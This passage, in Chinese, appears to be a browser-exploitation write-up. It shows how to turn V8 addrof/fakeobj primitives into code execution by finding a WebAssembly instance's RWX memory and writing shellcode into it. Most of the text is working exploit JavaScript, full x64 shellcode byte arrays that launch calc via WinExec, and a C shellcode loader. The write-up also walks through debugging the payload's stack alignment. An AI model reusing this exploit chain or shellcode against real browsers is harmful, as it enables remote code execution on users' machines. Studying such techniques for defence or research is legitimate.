var wasmInstance = new WebAssembly.Instance(wasmModule);
在源码中符串搜索,可以找到找到了 WebAssembly 编译执行中用到的两个关键函数WebAssemblyModule
和 WebAssemblyInstance
。调试这两个函数, 最后找到WasmInstanceObject
对象的 kJumpTableStartOffset
(0x00000068
) 偏移处存放了 RWX 内存区的地址。
读出 WasmInstanceObject
对象中存储的 RWX 内存区地址:
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,0,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
%DebugPrint(wasmInstance);
instance_start = addrof(wasmInstance);
console.log(instance_start.toString(16));
instruction_ptr = instance_start + BigInt(0x68);
console.log(instruction_ptr.toString(16));
fake_fixed_array_ptr = instruction_ptr - BigInt(0x8)
buf_for_fake_arr = [1.1, 1.2]
// [double_array_map, props]
buf_for_fake_arr[0] = itof(make_qword(double_array_map, 0));
// [elems, len]
buf_for_fake_arr[1] = itof(make_qword(fake_fixed_array_ptr, 8 << 1));
start_ptr_of_fake_arr = addrof(buf_for_fake_arr) - BigInt(0x10);
instruction_ptr_reader = fakeobj(start_ptr_of_fake_arr);
console.log(ftoi(instruction_ptr_reader[0]).toString(16));
输出:
0x02f8081d4ba1 <Instance map = 000002F808206F61>
81d4ba1
81d4c09
be50a41000
伪造 ArrayBuffer
,把 shellcode 拷贝到 be50a41000
,再调用 WebAssembly 块导出的 main
函数,实际上执行的就是 shellcode 了。
用 0xCC 作为 shellcode 验证效果:
instruction_ptr = ftoi(instruction_ptr_reader[0]);
console.log(instruction_ptr.toString(16));
shellcode_zone = new Uint8Array(fake_array_buffer(instruction_ptr, 1));
shellcode_zone[0] = 0xcc;
wasmInstance.exports.main()
成功执行到0xCC,触发中断。
从 github 找了一个弹计算器的shellcode, 把 c 代码部分编译成 exe,然后后用 ida 提取出 shellcode。
毕竟是网上找的 shellcode,先单步调试一遍的,验证安全性。在数组开头加上 0xCC,便于调试。
shellcode_zone = new Uint8Array(fake_array_buffer(instruction_ptr, 1024));
shellcode_src = new Uint8Array([0xcc, 0x48, 0x31, 0xFF, 0x48, 0xF7, 0xE7, 0x65, 0x48, 0x8B, 0x58,
0x60, 0x48, 0x8B, 0x5B, 0x18, 0x48, 0x8B, 0x5B, 0x20, 0x48,
0x8B, 0x1B, 0x48, 0x8B, 0x1B, 0x48, 0x8B, 0x5B, 0x20, 0x49,
0x89, 0xD8, 0x8B, 0x5B, 0x3C, 0x4C, 0x01, 0xC3, 0x48, 0x31,
0xC9, 0x66, 0x81, 0xC1, 0xFF, 0x88, 0x48, 0xC1, 0xE9, 0x08,
0x8B, 0x14, 0x0B, 0x4C, 0x01, 0xC2, 0x4D, 0x31, 0xD2, 0x44,
0x8B, 0x52, 0x1C, 0x4D, 0x01, 0xC2, 0x4D, 0x31, 0xDB, 0x44,
0x8B, 0x5A, 0x20, 0x4D, 0x01, 0xC3, 0x4D, 0x31, 0xE4, 0x44,
0x8B, 0x62, 0x24, 0x4D, 0x01, 0xC4, 0xEB, 0x32, 0x5B, 0x59,
0x48, 0x31, 0xC0, 0x48, 0x89, 0xE2, 0x51, 0x48, 0x8B, 0x0C,
0x24, 0x48, 0x31, 0xFF, 0x41, 0x8B, 0x3C, 0x83, 0x4C, 0x01,
0xC7, 0x48, 0x89, 0xD6, 0xF3, 0xA6, 0x74, 0x05, 0x48, 0xFF,
0xC0, 0xEB, 0xE6, 0x59, 0x66, 0x41, 0x8B, 0x04, 0x44, 0x41,
0x8B, 0x04, 0x82, 0x4C, 0x01, 0xC0, 0x53, 0xC3, 0x48, 0x31,
0xC9, 0x80, 0xC1, 0x07, 0x48, 0xB8, 0x0F, 0xA8, 0x96, 0x91,
0xBA, 0x87, 0x9A, 0x9C, 0x48, 0xF7, 0xD0, 0x48, 0xC1, 0xE8,
0x08, 0x50, 0x51, 0xE8, 0xB0, 0xFF, 0xFF, 0xFF, 0x49, 0x89,
0xC6, 0x48, 0x31, 0xC9, 0x48, 0xF7, 0xE1, 0x50, 0x48, 0xB8,
0x9C, 0x9E, 0x93, 0x9C, 0xD1, 0x9A, 0x87, 0x9A, 0x48, 0xF7,
0xD0, 0x50, 0x48, 0x89, 0xE1, 0x48, 0xFF, 0xC2, 0x48, 0x83,
0xEC, 0x20, 0x41, 0xFF, 0xD6]);
for(let i = 0; i < shellcode_src.length; ++i) {
shellcode_zone[i] = shellcode_src[i]
}
wasmInstance.exports.main()
调试一下确实发现了问题,不过并不是安全问题,是 WinExec
运行过程中发生了内存访问异常。
但是这个目的地址是可以访问的,这是什么新型攻击手法?仔细看下发现是因为 movqs 是一条 SIMD 指令,要求操作数的地址 16 字节对齐。
修改 shellcode 的源码,确保调用 WinExec
之前 rsp 是 16 字节对齐的:
// runShellcode.c
// C Shellcode Run Code referenced from reenz0h (twitter: @sektor7net)
#include <windows.h>
void main() {
void* exec;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Shellcode
unsigned char payload[] =
"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
"\x48\x83\xec\x30\x66\x81\xe4\xf0\xff\x41\xff\xd6";
unsigned int payload_len = 205;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec, payload, payload_len);
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
WaitForSingleObject(th, -1);
}
shellcode_src = new Uint8Array([0xcc,
0x48, 0x31, 0xFF, 0x48, 0xF7, 0xE7, 0x65, 0x48, 0x8B, 0x58,
0x60, 0x48, 0x8B, 0x5B, 0x18, 0x48, 0x8B, 0x5B, 0x20, 0x48,
0x8B, 0x1B, 0x48, 0x8B, 0x1B, 0x48, 0x8B, 0x5B, 0x20, 0x49,
0x89, 0xD8, 0x8B, 0x5B, 0x3C, 0x4C, 0x01, 0xC3, 0x48, 0x31,
0xC9, 0x66, 0x81, 0xC1, 0xFF, 0x88, 0x48, 0xC1, 0xE9, 0x08,
0x8B, 0x14, 0x0B, 0x4C, 0x01, 0xC2, 0x4D, 0x31, 0xD2, 0x44,
0x8B, 0x52, 0x1C, 0x4D, 0x01, 0xC2, 0x4D, 0x31, 0xDB, 0x44,
0x8B, 0x5A, 0x20, 0x4D, 0x01, 0xC3, 0x4D, 0x31, 0xE4, 0x44,
0x8B, 0x62, 0x24, 0x4D, 0x01, 0xC4, 0xEB, 0x32, 0x5B, 0x59,
0x48, 0x31, 0xC0, 0x48, 0x89, 0xE2, 0x51, 0x48, 0x8B, 0x0C,
0x24, 0x48, 0x31, 0xFF, 0x41, 0x8B, 0x3C, 0x83, 0x4C, 0x01,
0xC7, 0x48, 0x89, 0xD6, 0xF3, 0xA6, 0x74, 0x05, 0x48, 0xFF,
0xC0, 0xEB, 0xE6, 0x59, 0x66, 0x41, 0x8B, 0x04, 0x44, 0x41,
0x8B, 0x04, 0x82, 0x4C, 0x01, 0xC0, 0x53, 0xC3, 0x48, 0x31,
0xC9, 0x80, 0xC1, 0x07, 0x48, 0xB8, 0x0F, 0xA8, 0x96, 0x91,
0xBA, 0x87, 0x9A, 0x9C, 0x48, 0xF7, 0xD0, 0x48, 0xC1, 0xE8,
0x08, 0x50, 0x51, 0xE8, 0xB0, 0xFF, 0xFF, 0xFF, 0x49, 0x89,
0xC6, 0x48, 0x31, 0xC9, 0x48, 0xF7, 0xE1, 0x50, 0x48, 0xB8,
0x9C, 0x9E, 0x93, 0x9C, 0xD1, 0x9A, 0x87, 0x9A, 0x48, 0xF7,
0xD0, 0x50, 0x48, 0x89, 0xE1, 0x48, 0xFF, 0xC2, 0x48, 0x83,
0xEC, 0x30, 0x66, 0x81, 0xE4, 0xF0, 0xFF, 0x41, 0xFF, 0xD6]);
改完以后终于看到了计算器。🎉